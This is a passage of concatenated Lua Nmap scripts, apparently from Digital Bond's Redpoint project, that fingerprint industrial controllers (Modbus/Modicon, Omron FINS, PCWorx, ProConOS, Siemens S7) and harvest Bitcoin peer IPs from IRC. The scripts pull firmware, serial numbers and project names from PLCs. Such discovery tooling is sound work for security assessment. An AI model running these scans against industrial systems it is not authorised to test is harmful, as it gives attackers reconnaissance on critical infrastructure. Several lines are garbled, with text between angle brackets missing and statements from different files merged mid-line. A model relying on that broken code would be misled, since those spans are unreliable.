71 | -- 72 | -- @param host Host that was passed in via nmap 73 | -- @param port port that Modbus is running on (Default TCP/502) 74 | function set_nmap(host, port) 75 | 76 | --set port Open 77 | port.state = "open" 78 | -- set version name to Modbus 79 | port.version.name = "Modbus" 80 | nmap.set_port_version(host, port) 81 | nmap.set_port_state(host, port, "open") 82 | 83 | end 84 | --- 85 | -- Function to setup the communications to the Modicon. This is where alot 86 | -- of the function code 90 information is sent and parsed for information 87 | -- about the Modicon itself. 88 | -- 89 | -- @param socket Socket passed in via Action to communicate to remote device 90 | -- @param output The output table to add information that is collected 91 | --- 92 | function init_comms(socket, output) 93 | 94 | -- decelerations 95 | local pos 96 | local payload = bin.pack("H","000100000004005a0002") 97 | socket:send(payload) 98 | -- recv packet, however not going to do anything with it 99 | local rcvstatus, response = socket:receive() 100 | -- send and receive, not going to do anything with this packet. 101 | payload = bin.pack("H","000200000005005a000100") 102 | socket:send(payload) 103 | local rcvstatus, response = socket:receive() 104 | -- create a string with 249 T (0x54) 105 | local count = 0 106 | local ice = "54" 107 | while (count < 248) do 108 | ice = ice .. "54" 109 | count = count + 1 110 | end 111 | -- send packet with 249 T's (0x54), recv packet and do nothing as well 112 | payload = bin.pack("H","0003000000fe005a00fe00" .. ice) 113 | socket:send(payload) 114 | local rcvstatus, response = socket:receive() 115 | -- send packet that request the project information 116 | payload = bin.pack("H","000400000005005a000300") 117 | socket:send(payload) 118 | local rcvstatus, response = socket:receive() 119 | -- unpack the Project Name, this is configured by the engineers 120 | local pos, project_name = bin.unpack("z", response, 50) 121 | -- unpack the year that the project was last modified 122 | -- define the next sections we are going to unpack 123 | -- Each one is to support time stamp 124 | local project_hour 125 | local project_min 126 | local project_sec 127 | local project_month 128 | local project_day 129 | -- define the 3 vars for the project revision number 130 | local project_rev_1 131 | local project_rev_2 132 | local project_rev_3 133 | -- unpack the time stamp, as well as the revision numbers 134 | -- unpack the seconds 135 | pos, project_sec = bin.unpack("C", response, 38) 136 | -- unpack the min 137 | pos, project_min = bin.unpack("C", response, pos) 138 | -- unpack the hour 139 | pos, project_hour = bin.unpack("C", response, pos) 140 | -- unpack the day 141 | pos, project_day = bin.unpack("C", response, pos) 142 | -- unpack the month 143 | pos, project_month = bin.unpack("C", response, pos) 144 | pos, project_year = bin.unpack(" 19 | -- 20 | -- 21 | -- @output 22 | --9600/tcp open OMRON FINS 23 | --| omrontcp-info: 24 | --| Controller Model: CJ2M-CPU32 02.01 25 | --| Controller Version: 02.01 26 | --| For System Use: 27 | --| Program Area Size: 20 28 | --| IOM size: 23 29 | --| No. DM Words: 32768 30 | --| Timer/Counter: 8 31 | --| Expansion DM Size: 1 32 | --| No. of steps/transitions: 0 33 | --| Kind of Memory Card: 0 34 | --|_ Memory Card Size: 0 35 | 36 | -- @xmloutput 37 | --CS1G_CPU44H 03.00 38 | --03.00 39 | -- 40 | --20 41 | --23 42 | --32768 43 | --8 44 | --1 45 | --0 46 | --0 47 | --0 48 | 49 | 50 | 51 | author = "Stephen Hilt (Digital Bond)" 52 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 53 | categories = {"discovery", "version"} 54 | 55 | -- 56 | -- Function to define the portrule as per nmap standards 57 | -- 58 | -- 59 | portrule = shortport.portnumber(9600, "tcp") 60 | 61 | --- 62 | -- Function to set the nmap output for the host, if a valid OMRON FINS packet 63 | -- is received then the output will show that the port is open. 64 | -- 65 | -- @param host Host that was passed in via nmap 66 | -- @param port port that FINS is running on (Default TCP/9600) 67 | function set_nmap(host, port) 68 | 69 | --set port Open 70 | port.state = "open" 71 | -- set version name to OMRON FINS 72 | port.version.name = "OMRON FINS" 73 | nmap.set_port_version(host, port) 74 | nmap.set_port_state(host, port, "open") 75 | 76 | end 77 | 78 | local memcard = { 79 | [0] = "No Memory Card", 80 | [1] = "SPRAM", 81 | [2] = "EPROM", 82 | [3] = "EEPROM" 83 | } 84 | 85 | function memory_card(value) 86 | local mem_card = memcard[value] or "Unknown Memory Card Type" 87 | return mem_card 88 | end 89 | 90 | 91 | --- 92 | -- Action Function that is used to run the NSE. This function will send the initial query to the 93 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 94 | -- is a FINS supported device. 95 | -- 96 | -- @param host Host that was scanned via nmap 97 | -- @param port port that was scanned via nmap 98 | action = function(host,port) 99 | -- this is the request address command 100 | local req_addr = bin.pack("H", "46494e530000000c000000000000000000000000") 101 | -- TCP requres a network address that is recived from the first request, 102 | -- The read contoller data these two strings will be joined with the address 103 | local controller_data_read = "46494e5300000015000000020000000080000200" 104 | local controller_data_read2 = "000000ef050501" 105 | 106 | -- create table for output 107 | local output = stdnse.output_table() 108 | -- create local vars for socket handling 109 | local socket, try, catch 110 | -- create new socket 111 | socket = nmap.new_socket() 112 | -- define the catch of the try statement 113 | catch = function() 114 | socket:close() 115 | end 116 | -- create new try 117 | try = nmap.new_try(catch) 118 | -- connect to port on host 119 | try(socket:connect(host, port)) 120 | -- send Request Information Packet 121 | try(socket:send(req_addr)) 122 | local rcvstatus, response = socket:receive() 123 | if(rcvstatus == false) then 124 | return false, response 125 | end 126 | local pos, header = bin.unpack("C", response, 1) 127 | if(header == 0x46) then 128 | set_nmap(host, port) 129 | local pos, address = bin.unpack("C",response,24) 130 | local controller_data = bin.pack("HCHC", controller_data_read, address, controller_data_read2, 0x00) 131 | -- send the read controller data request 132 | try(socket:send(controller_data)) 133 | local rcvstatus, response = socket:receive() 134 | if(rcvstatus == false) then 135 | return false, response 136 | end 137 | 138 | local response_code 139 | pos, response_code = bin.unpack("S", response, 111) 152 | pos, output["IOM size"] = bin.unpack("C", response, pos) 153 | pos, output["No. DM Words"] = bin.unpack(">S", response, pos) 154 | pos, output["Timer/Counter"] = bin.unpack("C", response, pos) 155 | pos, output["Expansion DM Size"] = bin.unpack("C", response, pos) 156 | pos, output["No. of steps/transitions"] = bin.unpack(">S", response, pos) 157 | local mem_card_type 158 | pos, mem_card_type = bin.unpack("C", response, pos) 159 | output["Kind of Memory Card"] = memory_card(mem_card_type) 160 | pos, output["Memory Card Size"] = bin.unpack(">S", response, pos) 161 | else 162 | output["Response Code"] = "Unknown Response Code" 163 | end 164 | -- close socket, return output 165 | socket:close() 166 | return output 167 | 168 | else 169 | -- close socket and return nil 170 | socket:close() 171 | return nil 172 | end 173 | 174 | end 175 | -------------------------------------------------------------------------------- /Redpoint/omronudp-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local table = require "table" 6 | 7 | description = [[ 8 | This NSE script is used to send a FINS packet to a remote device that 9 | has UDP 9600 open. The script will send a Controller Data Read Command and once a 10 | response is received, it validates that it was a proper response to the command 11 | that was sent, and then will parse out the data. 12 | 13 | http://digitalbond.com 14 | 15 | ]] 16 | --- 17 | -- @usage 18 | -- nmap --script ormonudp-info -sU -p 9600 19 | -- 20 | -- 21 | -- 22 | -- @output 23 | --9600/tcp open OMRON FINS 24 | --| omrontcp-info: 25 | --| Controller Model: CJ2M-CPU32 02.01 26 | --| Controller Version: 02.01 27 | --| For System Use: 28 | --| Program Area Size: 20 29 | --| IOM size: 23 30 | --| No. DM Words: 32768 31 | --| Timer/Counter: 8 32 | --| Expansion DM Size: 1 33 | --| No. of steps/transitions: 0 34 | --| Kind of Memory Card: 0 35 | --|_ Memory Card Size: 0 36 | 37 | -- @xmloutput 38 | --CS1G_CPU44H 03.00 39 | --03.00 40 | -- 41 | --20 42 | --23 43 | --32768 44 | --8 45 | --1 46 | --0 47 | --0 48 | --0 49 | 50 | 51 | author = "Stephen Hilt (Digital Bond)" 52 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 53 | categories = {"discovery", "version"} 54 | 55 | -- 56 | -- Function to define the portrule as per nmap standards 57 | -- 58 | -- 59 | portrule = shortport.portnumber(9600, "udp") 60 | 61 | --- 62 | -- Function to set the nmap output for the host, if a valid OMRON FINS packet 63 | -- is received then the output will show that the port is open instead of 64 | -- open|filtered 65 | -- 66 | -- @param host Host that was passed in via nmap 67 | -- @param port port that FINS is running on (Default UDP/9600) 68 | function set_nmap(host, port) 69 | 70 | --set port Open 71 | port.state = "open" 72 | -- set version name to OMRON FINS 73 | port.version.name = "OMRON FINS" 74 | nmap.set_port_version(host, port) 75 | nmap.set_port_state(host, port, "open") 76 | 77 | end 78 | 79 | local memcard = { 80 | [0] = "No Memory Card", 81 | [1] = "SPRAM", 82 | [2] = "EPROM", 83 | [3] = "EEPROM" 84 | } 85 | 86 | function memory_card(value) 87 | local mem_card = memcard[value] or "Unknown Memory Card Type" 88 | return mem_card 89 | end 90 | 91 | --- 92 | -- Action Function that is used to run the NSE. This function will send the initial query to the 93 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 94 | -- is a FINS supported device. 95 | -- 96 | -- @param host Host that was scanned via nmap 97 | -- @param port port that was scanned via nmap 98 | action = function(host,port) 99 | -- 0501 is the command to read the Controller Data 100 | -- This command via UDP will result 101 | local controller_data_read = bin.pack("H", "800002000000006300ef050100") 102 | 103 | -- create table for output 104 | local output = stdnse.output_table() 105 | -- create local vars for socket handling 106 | local socket, try, catch 107 | -- create new socket 108 | socket = nmap.new_socket() 109 | -- define the catch of the try statement 110 | catch = function() 111 | socket:close() 112 | end 113 | -- create new try 114 | try = nmap.new_try(catch) 115 | -- connect to port on host 116 | try(socket:connect(host, port)) 117 | -- send Request Information Packet 118 | try(socket:send(controller_data_read)) 119 | local rcvstatus, response = socket:receive() 120 | if(rcvstatus == false) then 121 | return false, response 122 | end 123 | local pos, header = bin.unpack("C", response, 1) 124 | if(header == 0xc0 or header == 0xc1) then 125 | set_nmap(host, port) 126 | local response_code 127 | pos, response_code = bin.unpack("S", response, 95) 141 | pos, output["IOM size"] = bin.unpack("C", response, pos) 142 | pos, output["No. DM Words"] = bin.unpack(">S", response, pos) 143 | pos, output["Timer/Counter"] = bin.unpack("C", response, pos) 144 | pos, output["Expansion DM Size"] = bin.unpack("C", response, pos) 145 | pos, output["No. of steps/transitions"] = bin.unpack(">S", response, pos) 146 | local mem_card_type 147 | pos, mem_card_type = bin.unpack("C", response, pos) 148 | output["Kind of Memory Card"] = memory_card(mem_card_type) 149 | pos, output["Memory Card Size"] = bin.unpack(">S", response, pos) 150 | 151 | else 152 | output["Response Code"] = "Unknown Response Code" 153 | end 154 | socket:close() 155 | return output 156 | 157 | else 158 | socket:close() 159 | return nil 160 | end 161 | 162 | end 163 | -------------------------------------------------------------------------------- /Redpoint/pcworx-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local table = require "table" 6 | 7 | description = [[ 8 | This NSE script will query and parse pcworx protocol to a remote PLC. 9 | The script will send a initial request packets and once a response is received, 10 | it validates that it was a proper response to the command that was sent, and then 11 | will parse out the data. PCWorx is a protocol and Program by Phoenix Contact. 12 | 13 | 14 | http://digitalbond.com 15 | 16 | ]] 17 | --- 18 | -- @usage 19 | -- nmap --script pcworx-info -p 1962 20 | -- 21 | -- 22 | -- @output 23 | --| pcworx-info: 24 | --1962/tcp open pcworx 25 | --| pcworx-info: 26 | --| PLC Type: ILC 330 ETH 27 | --| Model Number: 2737193 28 | --| Firmware Version: 3.95T 29 | --| Firmware Date: Mar 2 2012 30 | --|_ Firmware Time: 09:39:02 31 | 32 | -- 33 | -- 34 | -- @xmloutput 35 | --ILC 330 ETH 36 | --2737193 37 | --3.95T 38 | --Mar 2 2012 39 | --09:39:02 40 | author = "Stephen Hilt (Digital Bond)" 41 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 42 | categories = {"discovery", "version"} 43 | 44 | -- 45 | -- Function to define the portrule as per nmap standards 46 | -- 47 | -- 48 | portrule = shortport.portnumber(1962, "tcp") 49 | 50 | --- 51 | -- Function to set the nmap output for the host, if a valid pcworx Protocol packet 52 | -- is received then the output will show that the port is open instead of 53 | -- 54 | -- @param host Host that was passed in via nmap 55 | -- @param port port that pcworx Protocol is running on (Default TCP/1962) 56 | function set_nmap(host, port) 57 | 58 | --set port Open 59 | port.state = "open" 60 | -- set version name to pcworx Protocol 61 | port.version.name = "pcworx" 62 | nmap.set_port_version(host, port) 63 | nmap.set_port_state(host, port, "open") 64 | 65 | end 66 | 67 | --- 68 | -- Action Function that is used to run the NSE. This function will send the initial query to the 69 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 70 | -- is a pcworx Protocol device. If it is then more actions are taken to gather extra information. 71 | -- 72 | -- @param host Host that was scanned via nmap 73 | -- @param port port that was scanned via nmap 74 | action = function(host,port) 75 | local init_comms = bin.pack("H","0101001a0000000078800003000c494245544830314e305f4d00") 76 | 77 | -- create table for output 78 | local output = stdnse.output_table() 79 | -- create local vars for socket handling 80 | local socket, try, catch 81 | -- create new socket 82 | socket = nmap.new_socket() 83 | -- define the catch of the try statement 84 | catch = function() 85 | socket:close() 86 | end 87 | -- create new try 88 | try = nmap.new_try(catch) 89 | try(socket:connect(host, port)) 90 | try(socket:send(init_comms)) 91 | -- receive response 92 | local rcvstatus, response = socket:receive() 93 | if(rcvstatus == false) then 94 | return false, response 95 | end 96 | -- pcworx has a session ID that is generated by the PLC 97 | -- This will pull the SID so we can communicate further to the PLC 98 | local pos, sid = bin.unpack("C", response, 18) 99 | local init_comms2 = bin.pack("HCH","0105001600010000788000", sid, "00000006000402950000") 100 | try(socket:send(init_comms2)) 101 | -- receive response 102 | local rcvstatus, response = socket:receive() 103 | if(rcvstatus == false) then 104 | return false, response 105 | end 106 | -- this is the request that will pull all the information from the PLC 107 | local req_info = bin.pack("HCH","0106000e00020000000000",sid,"0400") 108 | try(socket:send(req_info)) 109 | -- receive response 110 | local rcvstatus, response = socket:receive() 111 | if(rcvstatus == false) then 112 | return false, response 113 | end 114 | local pos, check1 = bin.unpack("C",response,1) 115 | -- if the response starts with 0x81 then we will continue 116 | if(check1 == 0x81) then 117 | -- set the port information via nmap output 118 | set_nmap(host, port) 119 | -- create output table with proper data 120 | pos, output["PLC Type"] = bin.unpack("z",response,31) 121 | pos, output["Model Number"] = bin.unpack("z", response, 153) 122 | pos, output["Firmware Version"] = bin.unpack("z",response, 67) 123 | pos, output["Firmware Date"] = bin.unpack("z", response, 80) 124 | pos, output["Firmware Time"] = bin.unpack("z", response, 92) 125 | 126 | -- close socket and return output table 127 | socket:close() 128 | return output 129 | end 130 | -- close socket 131 | socket:close() 132 | -- return nil 133 | return nil 134 | end 135 | -------------------------------------------------------------------------------- /Redpoint/proconos-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local table = require "table" 6 | 7 | description = [[ 8 | This NSE script will query and parse ProConOs protocol to a remote PLC. 9 | The script will send a initial request packet and once a 10 | response is received, it validates that it was a proper response to the command 11 | that was sent, and then will parse out the data. 12 | 13 | http://digitalbond.com 14 | 15 | ]] 16 | --- 17 | -- @usage 18 | -- nmap --script proconos-info -p 20547 19 | -- 20 | -- 21 | -- @output 22 | --| proconos-info: 23 | --| Ladder Logic Runtime: ProConOS V3.0.1040 Oct 29 2002 24 | --| PLC Type: ADAM5510KW 1.24 Build 005 25 | --| Project Name: 510-projec 26 | --| Boot Project: 510-projec 27 | --|_ Project Source Code: Exist 28 | -- 29 | -- 30 | -- @xmloutput 31 | --ProConOS V3.0.1040 Oct 29 2002 32 | --ADAM5510KW 1.24 Build 005 33 | --510-projec 34 | --510-project 35 | --Exist 36 | author = "Stephen Hilt (Digital Bond)" 37 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 38 | categories = {"discovery", "version"} 39 | 40 | -- 41 | -- Function to define the portrule as per nmap standards 42 | -- 43 | -- 44 | portrule = shortport.portnumber(20547, "tcp") 45 | 46 | --- 47 | -- Function to set the nmap output for the host, if a valid PCPROTOCOL packet 48 | -- is received then the output will show that the port is open instead of 49 | -- open|filtered 50 | -- 51 | -- @param host Host that was passed in via nmap 52 | -- @param port port that PCPROTOCOL is running on (Default TCP/1962) 53 | function set_nmap(host, port) 54 | 55 | --set port Open 56 | port.state = "open" 57 | -- set version name to PCPROTOCOL 58 | port.version.name = "ProConOS" 59 | nmap.set_port_version(host, port) 60 | nmap.set_port_state(host, port, "open") 61 | 62 | end 63 | 64 | --- 65 | -- Action Function that is used to run the NSE. This function will send the initial query to the 66 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 67 | -- is a PCPROTOCOL device. If it is then more actions are taken to gather extra information. 68 | -- 69 | -- @param host Host that was scanned via nmap 70 | -- @param port port that was scanned via nmap 71 | action = function(host,port) 72 | local req_info = bin.pack("H","cc01000b4002000047ee") 73 | -- create table for output 74 | local output = stdnse.output_table() 75 | -- create local vars for socket handling 76 | local socket, try, catch 77 | -- create new socket 78 | socket = nmap.new_socket() 79 | -- define the catch of the try statement 80 | catch = function() 81 | socket:close() 82 | end 83 | -- create new try 84 | try = nmap.new_try(catch) 85 | try(socket:connect(host, port)) 86 | -- connect to port on host 87 | try(socket:send(req_info)) 88 | -- receive response 89 | local rcvstatus, response = socket:receive() 90 | if(rcvstatus == false) then 91 | return false, response 92 | end local pos, check1 = bin.unpack("C",response,1) 93 | -- if the fist byte is 0xcc 94 | if(check1 == 0xcc) then 95 | set_nmap(host, port) 96 | -- create output table with proper data 97 | pos, output["Ladder Logic Runtime"] = bin.unpack("z",response,13) 98 | pos, output["PLC Type"] = bin.unpack("z",response, 45) 99 | pos, output["Project Name"] = bin.unpack("z", response, 78) 100 | pos, output["Boot Project"] = bin.unpack("z", response, pos) 101 | pos, output["Project Source Code"] = bin.unpack("z", response, pos) 102 | -- close socket and return output table 103 | socket:close() 104 | return output 105 | end 106 | -- close socket 107 | socket:close() 108 | -- return nil 109 | return nil 110 | end 111 | -------------------------------------------------------------------------------- /Redpoint/s7-enumerate.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | 9 | description = [[ 10 | Enumerates Siemens S7 PLC Devices and collects their device information. This 11 | script is based off PLCScan that was developed by Positive Research and 12 | Scadastrangelove (https://code.google.com/p/plcscan/). This script is meant to 13 | provide the same functionality as PLCScan inside of Nmap. Some of the 14 | information that is collected by PLCScan was not ported over; this 15 | information can be parsed out of the packets that are received. 16 | 17 | Thanks to Positive Research, and Dmitry Efanov for creating PLCScan 18 | ]] 19 | 20 | author = "Stephen Hilt (Digital Bond)" 21 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 22 | categories = {"discovery", "intrusive"} 23 | 24 | --- 25 | -- @usage 26 | -- nmap --script s7-info.nse -p 102 27 | -- 28 | -- @output 29 | --102/tcp open Siemens S7 PLC 30 | --| s7-info: 31 | --| Basic Hardware: 6ES7 315-2AG10-0AB0 32 | --| System Name: SIMATIC 300(1) 33 | --| Copyright: Original Siemens Equipment 34 | --| Version: 2.6.9 35 | --| Module Type: CPU 315-2 DP 36 | --| Module: 6ES7 315-2AG10-0AB0 37 | --|_ Serial Number: S C-X4U421302009 38 | -- 39 | -- 40 | -- @xmloutput 41 | --6ES7 315-2AG10-0AB0 42 | --SIMATIC 300(1) 43 | --Original Siemens Equipment 44 | --2.6.9 45 | --SimpleServer 46 | --CPU 315-2 DP 47 | --6ES7 315-2AG10-0AB0 48 | --S C-X4U421302009 49 | -- 50 | 51 | 52 | -- port rule for devices running on TCP/102 53 | portrule = shortport.port_or_service(102, "iso-tsap", "tcp") 54 | 55 | --- 56 | -- Function to send and receive the S7COMM Packet 57 | -- 58 | -- First argument is the socket that was created inside of the main Action 59 | -- this will be utilized to send and receive the packets from the host. 60 | -- the second argument is the query to be sent, this is passed in and is created 61 | -- inside of the main action. 62 | -- @param socket the socket that was created in Action. 63 | -- @param query the specific query that you want to send/receive on. 64 | local function send_receive(socket, query) 65 | local sendstatus, senderr = socket:send(query) 66 | if(sendstatus == false) then 67 | return "Error Sending S7COMM" 68 | end 69 | -- receive response 70 | local rcvstatus, response = socket:receive() 71 | if(rcvstatus == false) then 72 | return "Error Reading S7COMM" 73 | end 74 | return response 75 | end 76 | 77 | --- 78 | -- Function to parse the first SZL Request response that was received from the S7 PLCC 79 | -- 80 | -- First argument is the socket that was created inside of the main Action 81 | -- this will be utilized to send and receive the packets from the host. 82 | -- the second argument is the query to be sent, this is passed in and is created 83 | -- inside of the main action. 84 | -- @param response Packet response that was received from S7 host. 85 | -- @param host The host hat was passed in via Nmap, this is to change output of host/port 86 | -- @param port The port that was passed in via Nmap, this is to change output of host/port 87 | -- @param output Table used for output for return to Nmap 88 | local function parse_response(response, host, port, output) 89 | -- unpack the protocol ID 90 | local pos, value = bin.unpack("C", response, 8) 91 | -- unpack the second byte of the SZL-ID 92 | local pos, szl_id = bin.unpack("C", response, 31) 93 | -- set the offset to 0 94 | local offset = 0 95 | -- if the protocol ID is 0x32 96 | if (value == 0x32) then 97 | local pos 98 | -- unpack the module information 99 | pos, output["Module"] = bin.unpack("z", response, 44) 100 | -- unpack the basic hardware information 101 | pos, output["Basic Hardware"] = bin.unpack("z", response, 72) 102 | -- set version number to 0 103 | local version = 0 104 | -- parse version number 105 | local pos, char1, char2, char3 = bin.unpack("CCC", response, 123) 106 | -- concatenate string, or if string is nil make version number 0.0 107 | output["Version"] = table.concat({char1 or "0.0", char2, char3}, ".") 108 | -- return the output table 109 | return output 110 | else 111 | return nil 112 | end 113 | end 114 | 115 | --- 116 | -- Function to parse the second SZL Request response that was received from the S7 PLC 117 | -- 118 | -- First argument is the socket that was created inside of the main Action 119 | -- this will be utilized to send and receive the packets from the host. 120 | -- the second argument is the query to be sent, this is passed in and is created 121 | -- inside of the main action. 122 | -- @param response Packet response that was received from S7 host. 123 | -- @param output Table used for output for return to Nmap 124 | local function second_parse_response(response, output) 125 | local offset = 0 126 | -- unpack the protocol ID 127 | local pos, value = bin.unpack("C", response, 8) 128 | -- unpack the second byte of the SZL-ID 129 | local pos, szl_id = bin.unpack("C", response, 31) 130 | -- if the protocol ID is 0x32 131 | if (value == 0x32) then 132 | -- if the szl-ID is not 0x1c 133 | if( szl_id ~= 0x1c ) then 134 | -- change offset to 4, this is where most of valid PLCs will fall 135 | offset = 4 136 | end 137 | -- parse system name 138 | pos, output["System Name"] = bin.unpack("z", response, 40 + offset) 139 | -- parse module type 140 | pos, output["Module Type"] = bin.unpack("z", response, 74 + offset) 141 | -- parse serial number 142 | pos, output["Serial Number"] = bin.unpack("z", response, 176 + offset) 143 | -- parse plant identification 144 | pos, output["Plant Identification"] = bin.unpack("z", response, 108 + offset) 145 | -- parse copyright 146 | pos, output["Copyright"] = bin.unpack("z", response, 142 + offset) 147 | 148 | -- for each element in the table, if it is nil, then remove the information from the table 149 | for key, value in pairs(output) do 150 | if(string.len(output[key]) == 0) then 151 | output[key] = nil 152 | end 153 | end 154 | -- return output 155 | return output 156 | else 157 | return nil 158 | end 159 | end 160 | --- 161 | -- Function to set the nmap output for the host, if a valid S7COMM packet 162 | -- is received then the output will show that the port is open 163 | -- and change the output to reflect an S7 PLC 164 | -- 165 | -- @param host Host that was passed in via nmap 166 | -- @param port port that S7COMM is running on 167 | local function set_nmap(host, port) 168 | --set port Open 169 | port.state = "open" 170 | -- set that detected an Siemens S7 171 | port.version.name = "iso-tsap" 172 | port.version.devicetype = "specialized" 173 | port.version.product = "Siemens S7 PLC" 174 | nmap.set_port_version(host, port) 175 | nmap.set_port_state(host, port, "open") 176 | 177 | end 178 | --- 179 | -- Action Function that is used to run the NSE. This function will send the initial query to the 180 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 181 | -- is a S7COMM device. If it is then more actions are taken to gather extra information. 182 | -- 183 | -- @param host Host that was scanned via nmap 184 | -- @param port port that was scanned via nmap 185 | action = function(host, port) 186 | -- COTP packet with a dst of 102 187 | local COTP = bin.pack("H", "0300001611e00000001400c1020100c2020" .. "102" .. "c0010a") 188 | -- COTP packet with a dst of 200 189 | local alt_COTP = bin.pack("H", "0300001611e00000000500c1020100c2020" .. "200" .. "c0010a") 190 | -- setup the ROSCTR Packet 191 | local ROSCTR_Setup = bin.pack("H", "0300001902f08032010000000000080000f0000001000101e0") 192 | -- setup the Read SZL information packet 193 | local Read_SZL = bin.pack("H", "0300002102f080320700000000000800080001120411440100ff09000400110001") 194 | -- setup the first SZL request (gather the basic hardware and version number) 195 | local first_SZL_Request = bin.pack("H", "0300002102f080320700000000000800080001120411440100ff09000400110001") 196 | -- setup the second SZL request 197 | local second_SZL_Request = bin.pack("H", "0300002102f080320700000000000800080001120411440100ff090004001c0001") 198 | -- response is used to collect the packet responses 199 | local response 200 | -- output table for Nmap 201 | local output = stdnse.output_table() 202 | -- create socket for communications 203 | local sock = nmap.new_socket() 204 | -- connect to host 205 | local constatus, conerr = sock:connect(host, port) 206 | if not constatus then 207 | stdnse.debug1('Error establishing connection for %s - %s', host, conerr) 208 | return nil 209 | end 210 | -- send and receive the COTP Packet 211 | response = send_receive(sock, COTP) 212 | -- unpack the PDU Type 213 | local pos, CC_connect_confirm = bin.unpack("C", response, 6) 214 | -- if PDU type is not 0xd0, then not a successful COTP connection 215 | if ( CC_connect_confirm ~= 0xd0) then 216 | sock:close() 217 | -- create socket for communications 218 | stdnse.debug1('S7INFO:: CREATING NEW SOCKET') 219 | sock = nmap.new_socket() 220 | -- connect to host 221 | local constatus, conerr = sock:connect(host, port) 222 | if not constatus then 223 | stdnse.debug1('Error establishing connection for %s - %s', host, conerr) 224 | return nil 225 | end 226 | response = send_receive(sock, alt_COTP) 227 | local pos, CC_connect_confirm = bin.unpack("C", response, 6) 228 | if ( CC_connect_confirm ~= 0xd0) then 229 | stdnse.debug1('S7 INFO:: Could not negotiate COTP') 230 | return nil 231 | end 232 | end 233 | -- send and receive the ROSCTR Setup Packet 234 | response = send_receive(sock, ROSCTR_Setup) 235 | -- unpack the protocol ID 236 | local pos, protocol_id = bin.unpack("C", response, 8) 237 | -- if protocol ID is not 0x32 then return nil 238 | if ( protocol_id ~= 0x32) then 239 | return nil 240 | end 241 | -- send and receive the READ_SZL packet 242 | response = send_receive(sock, Read_SZL) 243 | local pos, protocol_id = bin.unpack("C", response, 8) 244 | -- if protocol ID is not 0x32 then return nil 245 | if ( protocol_id ~= 0x32) then 246 | return nil 247 | end 248 | -- send and receive the first SZL Request packet 249 | response = send_receive(sock, first_SZL_Request) 250 | -- parse the response for basic hardware information 251 | output = parse_response(response, host, port, output) 252 | -- send and receive the second SZL Request packet 253 | response = send_receive(sock, second_SZL_Request) 254 | -- parse the response for more information 255 | output = second_parse_response(response, output) 256 | -- close the socket 257 | sock:close() 258 | 259 | -- If we parsed anything, then set the version info for Nmap 260 | if #output > 0 then 261 | set_nmap(host, port) 262 | end 263 | -- return output to Nmap 264 | return output 265 | 266 | end 267 | -------------------------------------------------------------------------------- /bitcoin-enum-targets.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Joins the bitcoin client channel that all default bitcoin clients are hardcoded to 3 | and then decodes every nickname to its corresponding IP address. 4 | 5 | Note that bitcoin clients with non-routable IPs or connected through proxies will 6 | NOT encode their address in the nickname and instead use a 7 | random nickname starting with an 'x'. 8 | 9 | The script is based on the irc-info script. 10 | 11 | See https://en.bitcoin.it/wiki/Network#IRC for more details. 12 | ]] 13 | 14 | --- 15 | -- @usage 16 | -- nmap -sL --script bitcoin-enum-targets --script-args=newtargets 17 | -- @args bitcoin-enum-targets.server The IRC server to connect to 18 | -- @args bitcoin-enum-targets.port The IRC server port to connect on 19 | -- @args bitcoin-enum-targets.channel The IRC channel to join 20 | -- @args newtargets If true, add discovered targets to the scan queue. 21 | -- @output 22 | -- Pre-scan script results: 23 | -- | bitcoin-enum-targets: Found 1764 address(es). 24 | -- | x.x.x.x 25 | -- | y.y.y.y 26 | -- |_z.z.z.z 27 | 28 | author = "Sebastian Dragomir" 29 | 30 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 31 | 32 | categories = {"discovery"} 33 | 34 | require("bin") 35 | require("stdnse") 36 | require("nsedebug") 37 | require("comm") 38 | require("target") 39 | 40 | prerule = function() 41 | return true 42 | end 43 | 44 | local init = function() 45 | -- Start of MOTD, we'll take the server name from here 46 | nmap.registry.ircserverinfo_375 = nmap.registry.ircserverinfo_375 47 | or pcre.new("^:([\\w-_.]+) 375", 0, "C") 48 | 49 | -- MOTD could be missing, we want to handle that scenario as well 50 | nmap.registry.ircserverinfo_422 = nmap.registry.ircserverinfo_422 51 | or pcre.new("^:([\\w-_.]+) 422", 0, "C") 52 | 53 | -- NICK already in use 54 | nmap.registry.ircserverinfo_433 = nmap.registry.ircserverinfo_433 55 | or pcre.new("^:[\\w-_.]+ 433", 0, "C") 56 | 57 | -- PING/PONG 58 | nmap.registry.ircserverinfo_ping = nmap.registry.ircserverinfo_ping 59 | or pcre.new("^PING :(.+)", 0, "C") 60 | 61 | nmap.registry.ircserverinfo_353 = nmap.registry.ircserverinfo_353 62 | or pcre.new("^:[\\w-_.]+ 353 \\w+ = #\\w+ :(.*)", 0, "C") 63 | 64 | nmap.registry.ircserverinfo_error = nmap.registry.ircserverinfo_error 65 | or pcre.new("^ERROR :(.*)", 0, "C") 66 | 67 | end 68 | 69 | local decode_ip = function(str) 70 | local base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" 71 | local a,b,c,d,sz 72 | local acc = 0 73 | local bitstr = "" 74 | 75 | for i = 1,#str do 76 | c = base58:find(str:sub(i,i)) - 1 77 | acc = acc*58 + c 78 | end 79 | 80 | while 